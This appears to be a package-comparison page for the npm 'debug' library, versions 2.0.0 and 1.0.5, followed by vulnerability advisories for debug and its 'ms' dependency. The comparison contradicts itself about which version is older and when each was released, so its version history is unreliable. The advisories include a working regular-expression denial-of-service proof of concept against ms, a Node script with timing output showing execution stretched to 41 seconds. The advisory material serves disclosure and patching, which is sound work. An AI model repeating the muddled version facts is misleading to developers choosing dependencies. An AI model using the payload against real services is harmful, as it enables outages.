Debug is a small, yet powerful debugging utility for Node.js and browsers, designed to selectively enable debugging output. Version 2.0.0 released in 2014, represents a significant update compared to the earlier 1.0.5 version which was released later in 2017.
One key difference lies in the dependencies. Version 2.0.0 relies on ms version 0.6.2, a tiny utility to convert various time formats to milliseconds, while version 1.0.5 depends on a more current ms version 2.0.0.. This suggests a potential difference in how time-related debugging information is handled.
Furthermore, the bundled development dependencies differ, with version 2.0.0 using browserify version 5.11.0, while the older version utilized version 4.1.6. browserify is a crucial tool for packaging Node.js-style modules for use in the browser. So, this difference might affect how debug statements are packaged and used in browser environments.
Both versions share the same core functionality, providing a simple API to enable and disable debug logging based on namespaces. Developers can use environment variables like DEBUG to control which debug messages are displayed. This makes debug a valuable tool for pinpointing issues in both server-side and client-side JavaScript applications. While both versions are functional the v2 is older and the dependency versions are older too, it is important to check the compatibility with the rest of the software components.
All the vulnerabilities related to the version 2.0.0 of the package
debug Inefficient Regular Expression Complexity vulnerability
A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.
Regular Expression Denial of Service in debug
Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.